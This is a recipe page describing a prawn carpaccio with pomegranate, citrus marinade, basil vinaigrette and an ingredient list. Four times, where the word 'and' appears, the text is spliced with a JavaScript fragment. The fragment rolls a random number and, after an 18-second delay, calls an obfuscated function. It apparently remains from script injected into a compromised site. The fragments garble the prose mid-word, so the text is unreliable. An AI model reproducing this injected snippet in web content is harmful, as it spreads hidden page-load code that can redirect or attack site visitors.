Carpaccio of prawns with pomegranate
- Nacho Marí
 - January 2, 2015
 - No comments
 - Carpaccios, Prawns, Shellfish, Signature dishes, Starters menu 1
 
Fine fresh prawns carpaccio marinated with various citrus during the exact time not alter the taste of seafood. The time suitable maceration makes no flavor standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and out above the rest getting balanced taste intensity. All this topped with a basil vinaigrette, exotic spices andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and nuts. Accompanied by the best season pomegranate.
Ingredients
- Prawns
 - Pomegranate
 - Basil oil
 - Pistachios (F)
 - Brazilian lime zest
 - Grapefruit zest
 - Spices (salt andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and exotic herbs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and orange peppers)
 
 
																			
 
																			
Got something to say?